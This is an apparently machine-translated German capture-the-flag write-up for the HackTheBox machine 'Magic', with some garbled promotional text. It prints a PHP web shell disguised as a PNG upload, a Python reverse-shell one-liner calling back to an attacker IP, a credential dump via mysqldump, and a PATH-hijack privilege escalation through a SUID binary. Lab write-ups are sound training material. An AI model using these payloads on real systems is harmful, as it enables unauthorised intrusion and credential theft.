HackTheBox. Passage der Magie. Passwort sprühen. Mysqldump und LPE über sysinfo



Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Site gesendet wurden .



In diesem Artikel werfen wir eine Shell in ein Bild, suchen mit mysqldump nach Anmeldeinformationen und erhöhen die Berechtigungen über sysinfo.



Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.



Organisationsinformationen
, , Telegram . , , .



. , - , .



Aufklärung



Dieser Computer hat eine IP-Adresse vom 10.10.10.185, die ich zu / etc / hosts hinzufüge.



10.10.10.185 	magic.htb


Der erste Schritt ist das Scannen offener Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185       --rate=500






Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.



nmap -A magic.htb -p22,80






Auf dem Host sind zwei Ports geöffnet: 22 für den SSH-Dienst und 80 für den Webserver. Wie immer surfen wir im Internet.







Beachten Sie den Link zur Anmeldeseite. Zunächst versuchen wir einen Weg, um die Autorisierung zu umgehen und den richtigen zu finden.







Wir werden von einem Formular zum Hochladen von Bildern begrüßt. Lassen Sie uns versuchen, etwas Code in PHP zu setzen. Nehmen Sie dazu die ersten vier Bytes des Bildes und fügen Sie ihnen Code hinzu. In diesem Fall behalten wir die doppelte Erweiterung bei. Da beim Booten der Server das letztere überprüft und beim Ausführen das erste.

python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png






Aber wir werden erwischt.







Versuchen wir, den Code in einem Kommentar zu betrügen und zu verbergen.







Nach dem Download werden wir über den erfolgreichen Download informiert.







Die Datei wird hochgeladen, aber die Frage ist, wo. Lassen Sie uns die Verzeichnisse durchgehen, die Seite ist einfach und ich hatte viel Zeit, also habe ich keinen Gobuster und keine riesigen Wörterbücher verwendet. Führen Sie dirb aus.







Höchstwahrscheinlich haben wir das Verzeichnis gefunden, in das die Dateien hochgeladen werden. Wenden wir uns nun unserer Datei zu und übergeben den Befehl ls als Parameter.







Und es ist geschafft!



Einstiegspunkt



Lassen Sie uns die umgekehrte Shell als Parameter werfen.

http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Und wir bekommen eine Rückverbindung auf Port 4321.











Und im Arbeitsverzeichnis finden wir die Datei für die Arbeit mit der Datenbank.







Und in dieser Datei finden wir das Passwort des Benutzers.







Darüber hinaus befindet sich dieser Benutzer im System. Wir haben versucht, den Benutzer zu ändern, sind jedoch fehlgeschlagen.







NUTZER



Da dies das Datenbankkennwort ist, ist es mit MySQL verknüpft. Aber mit mysql oder mysqladmin hat es bei mir nicht funktioniert. Dann wurde beschlossen, alle Programme im Zusammenhang mit MySQL zu betrachten.







Das Glück lächelte mysqldump an. Wir verbinden uns und finden das Passwort.

mysqldump -u theseus -p iamkingtheseus Magic





Jetzt ändern wir erfolgreich den Benutzer und erhalten das benutzerdefinierte Flag.







WURZEL



Der Einfachheit halber habe ich SSH-Schlüssel mit ssh-keygen generiert, den öffentlichen in die Datei ~ / .ssh / authorized_keys geschrieben und den privaten, den ich über SSH verbunden habe. Laden Sie anschließend LinPEAS auf den Remote-Host herunter und starten Sie es. Nach einer vollständigen Auflistung des gesamten Systems analysieren wir die Ausgabe. Das einzige, worauf ich mich verliebt habe, sind die Dateien mit dem SUID-Set (die, die wir als root ausführen).







Sysinfo-Programm. Nach der Suche nach Informationen wurde nichts über die Befehlsausführung gefunden. Dann kam die Idee auf, was passiert, wenn sysinfo andere Programme verwendet, die wir diskreditieren können. Ich habe sysinfo unter ltrace ausgeführt.







Daher führt sysinfo die Programme lshw, fdisk und cat aus. Nun mehr zum LPE-Vektor. Das Betriebssystem verfügt über eine Umgebungsvariable PATH, in der Pfade gespeichert werden.







Wenn Sie das Programm ls oder cd eingeben, sucht das System nach diesen Dateien in den im PATH angegebenen Verzeichnissen. Wenn wir also an erster Stelle ein Verzeichnis in PATH schreiben und ein anderes ls- oder cat-Programm darin einfügen, wird es aufgerufen.



Also werde ich das mit fdisk machen. Ich werde keine Reverse-Shell werfen, sondern einfach unseren SSH-Schlüssel für den Root-Benutzer kopieren, um sowohl über SSH als auch über einen Benutzer eine Verbindung zum Root herzustellen.







Nennen wir zum Beispiel fdisk. Wie Sie sehen können, wurde eine legitime fdisk aufgerufen.







Fügen wir nun unseren Pfad zur Umgebungsvariablen PATH hinzu.







Das System sucht nun zuerst in / tmp / 123 nach fdisk.







Lassen Sie uns sysinfo ausführen.







Wir sehen einen Fehler in der Ausgabe, da das Stammverzeichnis kein .ssh-Verzeichnis hat. Lassen Sie uns das Skript so ändern, dass es zuerst das Verzeichnis erstellt und es dann kopiert. Nach der Ausführung von sysinfo treten keine fdisk-Fehler auf. Wir verbinden uns über SSH als root und holen die Flagge ab.







Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.



All Articles